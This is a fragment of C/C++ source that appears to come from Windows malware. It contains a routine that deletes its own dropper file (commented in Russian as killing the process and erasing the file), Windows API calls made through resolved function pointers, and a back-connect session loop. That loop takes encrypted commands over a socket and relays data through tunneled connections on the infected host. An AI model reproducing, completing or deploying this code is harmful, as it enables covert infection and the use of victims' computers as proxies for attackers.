DWORD ConnectThread(LPVOID lpParameter) { ConnectionData* connData = (ConnectionData*)lpParameter; if ( (int)pconnect( connData->Socket, (const struct sockaddr*)&connData->SockAddr, sizeof( connData->SockAddr ) ) == SOCKET_ERROR ) { DWORD err = (DWORD)pGetLastError(); pclosesocket(connData->Socket); pExitThread(-1); } pExitThread(0); return 0; }
DWORD WINAPI DeleteDropper(LPVOID) // убиваем процесс, стираем файл { PP_DPRINTF(L"DeleteDropper: started for '%S'", FileToDelete); LONG i = 1; PP_DPRINTF(L"DeleteDropper: Calling MoveEx..."); pMoveFileExA(FileToDelete,NULL,MOVEFILE_DELAY_UNTIL_REBOOT); PP_DPRINTF(L"DeleteDropper: Starting delete cycle ..."); while(i++) { if (pDeleteFileA( FileToDelete )) break; /* { PCHAR buf; DWORD dwErr; dwErr = (DWORD)pGetLastError(); buf = StrLongToString(dwErr); pOutputDebugStringA (buf); pOutputDebugStringA(" - "); pOutputDebugStringA(FileToDelete); STR::Free(buf); } */ pSleep(1025*i); }; PP_DPRINTF(L"DeleteDropper: Delete finished."); pExitThread(0); return 0; }
void SessionWork( SOCKET Socket ) { PCONNECTIONS pConnect = (PCONNECTIONS)MemAlloc( sizeof( PCONNECTIONS ) ); m_memset( pConnect, 0, sizeof( PCONNECTIONS ) ); char *Data = NULL; while ( 1 ) { if ( !WaitRecv( Socket, 60*60 ) ) { break; } TPkt tPacket; if ( !NetRecv( Socket, (char*)&tPacket, sizeof( tPacket ) ) ) { break; } if ( tPacket.QType == 0x63 ) { if ( tPacket.dwLen != 6 ) { break; } if ( Data ) { MemFree( Data ); } Data = (char *)MemAlloc( tPacket.dwLen + 1 ); if ( Data == NULL ) { break; } if ( !NetRecv( Socket, Data, tPacket.dwLen ) ) { break; } ManageNewConnection( Socket, *(ULONG*)Data, (USHORT)tPacket.dwReserved, *(USHORT*)&Data[4] ); } else if ( tPacket.QType == 0x73 ) { if ( Data ) { MemFree( Data ); } Data = (char *)MemAlloc( tPacket.dwLen + 1 ); if ( Data == NULL ) { break; } if ( !NetRecv( Socket, Data, tPacket.dwLen ) ) { break; } BcDecrypt( Data, tPacket.dwLen ); ThreadConnection Conn; pWaitForSingleObject( hThreadMutex, INFINITE ); int k = FindConn( (USHORT)tPacket.dwReserved ); if ( k != -1 ) { Conn = Connections[ k ]; NetSend( Conn.thread_s, Data, tPacket.dwLen ); } pReleaseMutex( hThreadMutex ); } else if ( tPacket.QType == 0x77 ) { DisconnBid( tPacket.dwReserved ); } else if ( tPacket.QType == 0x64 ) { pclosesocket(Socket); KillAllConnections(); pExitThread( 1 ); break; } else if ( tPacket.QType == 0x65 ) { } else { break; } } if ( Data ) { MemFree( Data ); } pConnect->dwStatus = 1; }